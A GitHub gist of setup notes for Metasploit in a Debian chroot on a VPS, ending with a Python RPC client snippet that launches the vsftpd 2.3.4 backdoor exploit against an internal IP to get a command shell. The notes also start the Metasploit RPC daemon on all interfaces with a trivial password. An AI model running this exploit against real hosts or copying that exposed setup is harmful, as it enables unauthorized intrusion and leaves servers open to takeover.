Skip to content

Instantly share code, notes, and snippets.

@kostyll
Last active December 27, 2016 10:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kostyll/29ef5e3b139d026cff85317c79f5a252 to your computer and use it in GitHub Desktop.
Save kostyll/29ef5e3b139d026cff85317c79f5a252 to your computer and use it in GitHub Desktop.
metasploit_vds.md

debootstrap --arch i386 jessie debian_8_jessie.i386.original http://ftp.us.debian.org/debian

cp -rf debian_8_jessie.i386.original debian_8_jessie.i386.metasploit

cat << EOF >> /root/start_metaploitenv.sh #!/bin/bash export MSFROOT=/root/debian_8_jessie.i386.metasploit mount -o bind /dev/ $MSFROOT/dev mount -t proc proc $MSFROOT/proc chroot $MSFROOT EOF

chmod +x /root/start_metaploitenv.sh

cat << EOF >> /root/end_metasploitenv.sh #!/bin/bash export MSFROOT=/root/debian_8_jessie.i386.metasploit umount -lf $MSFROOT/dev umount -lf $MSFROOT/proc EOF

chmod +x /root/end_metasploitenv.sh

[under metasploit-chroot] apt-get install software-properties-common

apt-get update apt-get install openjdk-7-jdk apt-get install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev git-core autoconf postgresql pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev vncviewer libyaml-dev curl zlib1g-dev apt-get install curl curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall &&
chmod 755 msfinstall &&
./msfinstall

msfrpcd -P mypassword -n -f -a 0.0.0.0

apt-get install squashfs-tools cat << EOF >> /root/compress.sh #!/bin/bash export MSFROOT=/root/debian_8_jessie.i386.metasploit mksquashfs $MSFROOT $MSFROOT.squash -e boot EOF

chmod +x /root/compress.sh

[under client machine] //https://github.com/kostyll/pymetasploit

$ipython from metasploit.msfrpc import MsfRpcClient client = MsfRpcClient('mypassword', server='195.69.187.181')

client.modules.exploits client.modules.auxiliary

exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') exploit['RHOST'] = '172.16.14.145' exploit.execute(payload='cmd/unix/interact')

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment